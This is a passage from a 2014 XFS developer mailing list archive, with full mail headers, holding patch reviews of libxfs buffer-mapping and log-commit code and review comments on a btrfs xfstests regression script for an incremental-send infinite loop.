b/libxfs/rdwr.c > index 0219a08..bf92788 100644 > --- a/libxfs/rdwr.c > +++ b/libxfs/rdwr.c > @@ -203,7 +203,8 @@ xfs_buf_t *libxfs_readbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, > int, int, const struct xfs_buf_ops *); > int libxfs_writebuf(xfs_buf_t *, int); > xfs_buf_t *libxfs_getbuf(struct xfs_buftarg *, xfs_daddr_t, int); > -xfs_buf_t *libxfs_getbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, int); > +xfs_buf_t *libxfs_getbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, > + int, int); > xfs_buf_t *libxfs_getbuf_flags(struct xfs_buftarg *, xfs_daddr_t, int, > unsigned int); > void libxfs_putbuf (xfs_buf_t *); > @@ -255,9 +256,10 @@ libxfs_trace_getbuf(const char *func, const char *file, int line, > > xfs_buf_t * > libxfs_trace_getbuf_map(const char *func, const char *file, int line, > - struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps) > + struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, > + int flags) > { > - xfs_buf_t *bp = libxfs_getbuf_map(btp, map, nmaps); > + xfs_buf_t *bp = libxfs_getbuf_map(btp, map, nmaps, flags); > __add_trace(bp, func, file, line); > return bp; > } > @@ -582,7 +584,8 @@ libxfs_getbuf(struct xfs_buftarg *btp, xfs_daddr_t blkno, int len) > } > > struct xfs_buf * > -libxfs_getbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps) > +libxfs_getbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, > + int nmaps, int flags) > { > struct xfs_bufkey key = {0}; > int i; > @@ -595,7 +598,7 @@ libxfs_getbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps) > key.map = map; > key.nmaps = nmaps; > > - return __cache_lookup(&key, 0); > + return __cache_lookup(&key, flags); > } > > void > @@ -775,7 +778,7 @@ libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, > return libxfs_readbuf(btp, map[0].bm_bn, map[0].bm_len, > flags, ops); > > - bp = libxfs_getbuf_map(btp, map, nmaps); > + bp = libxfs_getbuf_map(btp, map, nmaps, 0); > if (!bp) > return NULL; > > diff --git a/libxfs/trans.c b/libxfs/trans.c > index 6a05673..6c9d202 100644 > --- a/libxfs/trans.c > +++ b/libxfs/trans.c > @@ -511,7 +511,7 @@ libxfs_trans_get_buf_map( > xfs_buf_log_item_t *bip; > > if (tp == NULL) > - return libxfs_getbuf_map(btp, map, nmaps); > + return libxfs_getbuf_map(btp, map, nmaps, 0); > > bp = xfs_trans_buf_item_match(tp, btp, map, nmaps); > if (bp != NULL) { > @@ -522,7 +522,7 @@ libxfs_trans_get_buf_map( > return bp; > } > > - bp = libxfs_getbuf_map(btp, map, nmaps); > + bp = libxfs_getbuf_map(btp, map, nmaps, 0); > if (bp == NULL) > return NULL; > #ifdef XACT_DEBUG > From bfoster@redhat.com Thu Jan 23 12:40:33 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 98F6C7F7D for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 12:40:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6E7A68F8033 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 10:40:30 -0800 (PST) X-ASG-Debug-ID: 1390502429-04bdf030e9cbbc0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6OHDLNBg1TIoZ0OX for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 10:40:29 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0NIeReR011029 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 13:40:28 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0NIeRt0024318 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 13:40:27 -0500 Message-ID: <52E1621A.6070006@redhat.com> Date: Thu, 23 Jan 2014 13:40:26 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: convert xfs_log_commit_cil() to void References: <52E10BED.8090607@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: convert xfs_log_commit_cil() to void In-Reply-To: <52E10BED.8090607@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390502429 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/23/2014 07:32 AM, Jeff Liu wrote: > From: Jie Liu <jeff.liu@oracle.com> > > Convert xfs_log_commit_cil() to a void function since it return nothing > but 0 in any case, after that we can simplify the relative code logic > in xfs_trans_commit() accordingly. > > Signed-off-by: Jie Liu <jeff.liu@oracle.com> > --- 9 less lines. ;) Reviewed-by: Brian Foster <bfoster@redhat.com> > fs/xfs/xfs_log.h | 2 +- > fs/xfs/xfs_log_cil.c | 3 +-- > fs/xfs/xfs_trans.c | 12 ++---------- > 3 files changed, 4 insertions(+), 13 deletions(-) > > diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h > index e148719..67927c3 100644 > --- a/fs/xfs/xfs_log.h > +++ b/fs/xfs/xfs_log.h > @@ -129,7 +129,7 @@ void xlog_iodone(struct xfs_buf *); > struct xlog_ticket *xfs_log_ticket_get(struct xlog_ticket *ticket); > void xfs_log_ticket_put(struct xlog_ticket *ticket); > > -int xfs_log_commit_cil(struct xfs_mount *mp, struct xfs_trans *tp, > +void xfs_log_commit_cil(struct xfs_mount *mp, struct xfs_trans *tp, > xfs_lsn_t *commit_lsn, int flags); > bool xfs_log_item_in_current_chkpt(struct xfs_log_item *lip); > > diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c > index 5eb51fc..bb1027a 100644 > --- a/fs/xfs/xfs_log_cil.c > +++ b/fs/xfs/xfs_log_cil.c > @@ -740,7 +740,7 @@ xlog_cil_empty( > * background commit, returns without it held once background commits are > * allowed again. > */ > -int > +void > xfs_log_commit_cil( > struct xfs_mount *mp, > struct xfs_trans *tp, > @@ -786,7 +786,6 @@ xfs_log_commit_cil( > xlog_cil_push_background(log); > > up_read(&cil->xc_ctx_lock); > - return 0; > } > > /* > diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c > index c812c5c..54a5732 100644 > --- a/fs/xfs/xfs_trans.c > +++ b/fs/xfs/xfs_trans.c > @@ -887,12 +887,7 @@ xfs_trans_commit( > xfs_trans_apply_sb_deltas(tp); > xfs_trans_apply_dquot_deltas(tp); > > - error = xfs_log_commit_cil(mp, tp, &commit_lsn, flags); > - if (error == ENOMEM) { > - xfs_force_shutdown(mp, SHUTDOWN_LOG_IO_ERROR); > - error = XFS_ERROR(EIO); > - goto out_unreserve; > - } > + xfs_log_commit_cil(mp, tp, &commit_lsn, flags); > > current_restore_flags_nested(&tp->t_pflags, PF_FSTRANS); > xfs_trans_free(tp); > @@ -902,10 +897,7 @@ xfs_trans_commit( > * log out now and wait for it. > */ > if (sync) { > - if (!error) { > - error = _xfs_log_force_lsn(mp, commit_lsn, > - XFS_LOG_SYNC, NULL); > - } > + error = _xfs_log_force_lsn(mp, commit_lsn, XFS_LOG_SYNC, NULL); > XFS_STATS_INC(xs_trans_sync); > } else { > XFS_STATS_INC(xs_trans_async); > From prvs=610028a7b9=jbacik@fb.com Thu Jan 23 13:18:37 2014 Return-Path: <prvs=610028a7b9=jbacik@fb.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 067547F8A for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 13:18:37 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EB26F8F8059 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 11:18:33 -0800 (PST) X-ASG-Debug-ID: 1390504705-04cbb05ba9be8d0001-NocioJ Received: from mx0b-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id u4CKTQzaI3ezrVpI for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 11:18:25 -0800 (PST) X-Barracuda-Envelope-From: prvs=610028a7b9=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004060 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s0NJFxjB010453; Thu, 23 Jan 2014 11:18:24 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=UC4PDjIQvPm5oHo8t9/jnycIjPtsUbWdkN99pxNwR7I=; b=UqVzJSSXi6wy8dEsbgqEZLJYqQWQF5V/4QkL16CBZcSLcFq4wIFkx+ity71j8pbTHSYn P4wL0YerXUTyxCSc9J/LpGK9qStI3r0xIW17A0jtcBpCfj+iL3UE4ec5IajroQViXkij 5QJKGkMksTNCfSoCbIcEOE4gJr/5weZH4R0= Received: from mail.thefacebook.com (prn1-cmdf-dc01-fw1-nat.corp.tfbnw.net [173.252.71.129] (may be forged)) by mx0b-00082601.pphosted.com with ESMTP id 1hk5vygqfc-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Thu, 23 Jan 2014 11:18:24 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.20) with Microsoft SMTP Server (TLS) id 14.3.174.1; Thu, 23 Jan 2014 11:18:03 -0800 Message-ID: <52E16AE6.7010202@fb.com> Date: Thu, 23 Jan 2014 14:17:58 -0500 From: Josef Bacik <jbacik@fb.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Filipe David Borba Manana <fdmanana@gmail.com>, <xfs@oss.sgi.com> CC: <linux-btrfs@vger.kernel.org> Subject: Re: [PATCH v2] xfstests: add test for btrfs incremental send infinite loop issue References: <1390348610-8098-1-git-send-email-fdmanana@gmail.com> <1390385119-6998-1-git-send-email-fdmanana@gmail.com> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add test for btrfs incremental send infinite loop issue In-Reply-To: <1390385119-6998-1-git-send-email-fdmanana@gmail.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Spam-Reason: safe X-FB-Internal: Safe X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-23_05:2014-01-22,2014-01-23,1970-01-01 signatures=0 X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1390504705 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/22/2014 05:05 AM, Filipe David Borba Manana wrote: > Regression test for btrfs' incremental send feature: > > 1) Create several nested directories; > > 2) Create a read only snapshot; > > 3) Change the parentship of some of the deepest directories in a reverse > way, so that parents become children and children become parents; > > 4) Create another read only snapshot and use it for an incremental send > relative to the first snapshot. > > At step 4 btrfs' send entered an infinite loop, increasing the memory it > used while building path strings until a krealloc was unable to allocate > more memory, which caused a warning dump in dmesg. > > The following linux kernel patch fixes this issue. > > Btrfs: fix infinite path build loops in incremental send > (https://patchwork.kernel.org/patch/3522361/) > > Signed-off-by: Filipe David Borba Manana <fdmanana@gmail.com> > --- > > V2: Updated test to trigger one more code path in the corresponding > btrfs linux kernel patch that fixes this issue. > > tests/btrfs/030 | 144 +++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/030.out | 9 ++++ > tests/btrfs/group | 1 + > 3 files changed, 154 insertions(+) > create mode 100755 tests/btrfs/030 > create mode 100644 tests/btrfs/030.out > > diff --git a/tests/btrfs/030 b/tests/btrfs/030 > new file mode 100755 > index 0000000..5e1b4fc > --- /dev/null > +++ b/tests/btrfs/030 > @@ -0,0 +1,144 @@ > +#! /bin/bash > +# FS QA Test No. btrfs/030 > +# > +# Regression test for btrfs' incremental send feature: > +# > +# 1) Create several nested directories; > +# 2) Create a read only snapshot; > +# 3) Change the parentship of some of the deepest directories in a reverse > +# way, so that parents become children and children become parents; > +# 4) Create another read only snapshot and use it for an incremental send > +# relative to the first snapshot. > +# > +# At step 4 btrfs' send entered an infinite loop, increasing the memory it > +# used while building path strings until a krealloc was unable to allocate > +# more memory, which caused a warning dump in dmesg. > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=`mktemp -d` > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + rm -fr $tmp > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs btrfs > +_supported_os Linux > +_require_scratch > +_need_to_be_root > + > +FSSUM_PROG=$here/src/fssum > +[ -x $FSSUM_PROG ] || _notrun "fssum not built" > + > +rm -f $seqres.full > + > +_scratch_mkfs >/dev/null 2>&1 > +_scratch_mount > + > + > +mkdir -p $SCRATCH_MNT/a/b/c > +echo "hello" > $SCRATCH_MNT/a/b/c/file.txt > +mkdir $SCRATCH_MNT/a/b/c/d > +mkdir $SCRATCH_MNT/a/b/c2 > +mkdir $SCRATCH_MNT/a/b/www > +mkdir -p $SCRATCH_MNT/a/b/c3/x/y > + > +# Directory tree looks like: > +# > +# . (ino 256) > +# |-- a/ (ino 257) > +# |-- b/ (ino 258) > +# |-- c/ (ino 259) > +# | |-- file.txt (ino 260) > +# | |-- d/ (ino 261) > +# | > +# |-- c2/ (ino 262) > +# |-- www/ (ino 263) > +# | > +# |-- c3/ (ino 264) > +# |-- x/ (ino 265) > +# |-- y/ (ino 266) > + > +$BTRFS_UTIL_PROG subvol snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 | \ > + _filter_scratch > + > +echo " world" >> $SCRATCH_MNT/a/b/c/file.txt > +mv $SCRATCH_MNT/a/b/c/d $SCRATCH_MNT/a/b/c2/d2 > +mv $SCRATCH_MNT/a/b/c $SCRATCH_MNT/a/b/c2/d2/cc > +mv $SCRATCH_MNT/a/b/c3/x/y $SCRATCH_MNT/a/b/c2/y2 > +mv $SCRATCH_MNT/a/b/c3/x $SCRATCH_MNT/a/b/c2/y2/x2 > +mv $SCRATCH_MNT/a/b/c3 $SCRATCH_MNT/a/b/c2/y2/x2/Z > +mv $SCRATCH_MNT/a/b/www $SCRATCH_MNT/a/b/c2/y2/x2/WWW > +ln $SCRATCH_MNT/a/b/c2/d2/cc/file.txt $SCRATCH_MNT/a/b/c2/y2/x2/Z/file_link.txt > +mv $SCRATCH_MNT/a/b/c2/d2/cc/file.txt $SCRATCH_MNT/a/b/c2/y2/x2 > + > +# Directory tree now looks like: > +# > +# . (ino 256) > +# |-- a/ (ino 257) > +# |-- b/ (ino 258) > +# |-- c2/ (ino 262) > +# |-- d2/ (ino 261) > +# | |-- cc/ (ino 259) > +# | |-- file.txt (ino 260) > +# |-- y2/ (ino 266) > +# |-- x2/ (ino 265) > +# |-- WWW/ (ino 263) > +# |-- Z/ (ino 264) > +# |-- file_link.txt > + > +$BTRFS_UTIL_PROG subvol snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 | \ > + _filter_scratch > + > +$FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 > +$FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ > + $SCRATCH_MNT/mysnap2 > + > +$BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap 2>&1 | _filter_scratch > +$BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ > + -f $tmp/2.snap 2>&1 | _filter_scratch > + > +_scratch_unmount > +_check_btrfs_filesystem $SCRATCH_DEV > +_scratch_mkfs >/dev/null 2>&1 > +_scratch_mount > + > +$BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap > +$FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 > +$BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap > +$FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 > + You should do || _fail for the fssum stuff, and maybe redirect the output to $seqres.full. > +_scratch_unmount > +_check_btrfs_filesystem $SCRATCH_DEV > + > +status=0 > +exit > diff --git a/tests/btrfs/030.out b/tests/btrfs/030.out > new file mode 100644 > index 0000000..2999f8c > --- /dev/null > +++ b/tests/btrfs/030.out > @@ -0,0 +1,9 @@ > +QA output created by 030 > +Create a readonly snapshot of 'SCRATCH_MNT' in 'SCRATCH_MNT/mysnap1' > +Create a readonly snapshot of 'SCRATCH_MNT' in 'SCRATCH_MNT/mysnap2' > +At subvol SCRATCH_MNT/mysnap1 > +At subvol SCRATCH_MNT/mysnap2 > +At subvol mysnap1 > +OK > +At snapshot mysnap2 > +OK So this depends on the output of btrfs send not changing ever, which historically is not a good assumption to make. It would be better if you do like the other send tests and just test for failure like the other send tests do. Thanks, Josef From david@fromorbit.com Thu Jan 23 15:27:45 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 938627F51 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:27:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 27A5BAC007 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 13:27:44 -0800 (PST) X-ASG-Debug-ID: 1390512459-04cb6c31f58aa90001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id ACnsztg05McJCKy9 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 13:27:40 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AugJACiI4VJ5LGaB/2dsb2JhbABagwyDOrQ7hVCBFBd0giUBAQEEJxMcIxAIAw4HAwklDwUlAyETiATHFRcWjmoHhDgEmCKKT4dKg0EogS4k Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Jan 2014 07:57:38 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W6RoF-0006Cs-5S; Fri, 24 Jan 2014 08:27:35 +1100 Date: Fri, 24 Jan 2014 08:27:35 +1100 From: Dave Chinner <david@fromorbit.com> To: Brian Foster <bfoster@redhat.com> Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/3] libxfs: remove map from libxfs_readbufr_map Message-ID: <20140123212735.GW13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/3] libxfs: remove map from libxfs_readbufr_map References: <1390375033-10483-1-git-send-email-david@fromorbit.com> <1390375033-10483-3-git-send-email-david@fromorbit.com> <52E14E1E.8040605@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E14E1E.8040605@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390512459 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144406 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jan 23, 2014 at 12:15:10PM -0500, Brian Foster wrote: > On 01/22/2014 02:17 AM, Dave Chinner wrote: > > From: Dave Chinner <dchinner@redhat.com> > > > > The map passed in to libxfs_readbufr_map is used to check the buffer > > matches the map. However, the repair readahead code has no map it > > can use to validate the buffer it set up previously, so just get rid > > of the map being passed in because it serves no useful purpose. > > > > The code looks fine, effectively just removing some assert code, but I'm > not following the reasoning. I'm probably missing some context. Is the > justification that no callers of libxfs_readbufr_map() will actually > pass a map, or that the checking is not useful (redundant)? Lets start with "redundant". The libxfs_readbuf_map() call passes in the map it just passed to libxfs_getbuf_map() - there's no real point to testing it as we've got bigger problems if libxfs_getbuf_map() doesn't build the buffer correctly from the map. The call in db/io.c passes in the same map that was passed to libxfs_readbuf_map(), which means it's checking the buffer multiple times against the same map. Again, redundant because the only thing that has a reference to the buffer is the db IO code. Now API consistency: libxfs_writebufr() has no requirement for a map for checking, and takes no parameters other than the buffer and trusts the buffer to be set up correctly. It treats both contiguous and discontiguous buffers the same way. libxfs_readbufr() takes a blkno/len because there are use cases for partial buffer reads which we don't have for discontiguous buffers. Hence we don't need to pass a map to libxfs_readbuf_map() for any functional reason. And seeing as libxfs_writebufr() already trusts libxfs_getbuf_map() to set up a discontiguous buffer correctly, I don't see why the read path should be any different. Now for correctness: The ASSERT code is not built in by default. It's pretty obvious it has never been used because: > > +libxfs_readbufr_map(struct xfs_buftarg *btp, struct xfs_buf *bp, int flags) > > { > > int fd = libxfs_device_to_fd(btp->dev); > > int error = 0; > > char *buf; > > int i; > > > > - ASSERT(BBTOB(len) <= bp->b_bcount); It's obviously broken. In summary, the map being passed in is unused, untested, redundant and broken.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Jan 23 15:42:00 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BC6A67F98 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:42:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 675F1AC003 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 13:42:00 -0800 (PST) X-ASG-Debug-ID: 1390513317-04bdf030e8d1120001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id ZNTvgsm6fCXck0ag for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 13:41:58 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AugJAK2L4VJ5LGaB/2dsb2JhbABSCIMMgzq0O4VQgRQXdIIlAQEBBCcTHCMQCAMOCgklDwUlAyETiATHBxcWjhICDUkHhDgEmCKSGYNBKIEsAR8 Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Jan 2014 08:11:57 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W6S27-0006EX-M0; Fri, 24 Jan 2014 08:41:55 +1100 Date: Fri, 24 Jan 2014 08:41:55 +1100 From: Dave Chinner <david@fromorbit.com> To: Brian Foster <bfoster@redhat.com> Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] repair: fix discontiguous directory block support Message-ID: <20140123214155.GX13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3] repair: fix discontiguous directory block support References: <1390375033-10483-1-git-send-email-david@fromorbit.com> <1390375033-10483-4-git-send-email-david@fromorbit.com> <52E14E2A.7000902@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E14E2A.7000902@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390513318 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144406 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jan 23, 2014 at 12:15:22PM -0500, Brian Foster wrote: > On 01/22/2014 02:17 AM, Dave Chinner wrote: > > @@ -167,6 +167,14 @@ pf_read_bmbt_reclist( > > xfs_bmbt_irec_t irec; > > xfs_dfilblks_t cp = 0; /* prev count */ > > xfs_dfiloff_t op = 0; /* prev offset */ > > +#define MAP_ARRAY_SZ 4 > > + struct xfs_buf_map map_array[MAP_ARRAY_SZ]; > > + struct xfs_buf_map *map = map_array; > > + int max_extents = MAP_ARRAY_SZ; > > + int nmaps = 0;; > > + unsigned int len = 0; > > + int ret = 0; > > + > > So if I understand correctly, the idea here is to now batch extent reads > into buffers of the directory block size, quieting the messages > described in the commit log. Yes. > > @@ -188,18 +196,60 @@ pf_read_bmbt_reclist( > > cp = irec.br_blockcount; > > > > while (irec.br_blockcount) { > > - unsigned int len; > > + unsigned int bm_len; > > > > pftrace("queuing dir extent in AG %d", args->agno); > > > > - len = (irec.br_blockcount > mp->m_dirblkfsbs) ? > > - mp->m_dirblkfsbs : irec.br_blockcount; > > - pf_queue_io(args, irec.br_startblock, len, B_DIR_META); > > - irec.br_blockcount -= len; > > - irec.br_startblock += len; > > + if (len + irec.br_blockcount >= mp->m_dirblkfsbs) { > > + bm_len = mp->m_dirblkfsbs - len; > > + len = 0; > > + } else { > > + len += irec.br_blockcount; > > + bm_len = irec.br_blockcount; > > + } > > So len represents the total length of the maps attached to the current > array... > > > + > > + map[nmaps].bm_bn = XFS_FSB_TO_DADDR(mp, > > + irec.br_startblock); > > + map[nmaps].bm_len = XFS_FSB_TO_BB(mp, bm_len); > > + nmaps++; > > + > > + if (len == 0) { > > + pf_queue_io(args, map, nmaps, B_DIR_META); > > + nmaps = 0; > > + } > > Kind of a nit, but this looks a little weird to me. The logic would be a > bit more clear with something like: > > if (len + irec.br_blockcount > mp->dirblkfsbs) > 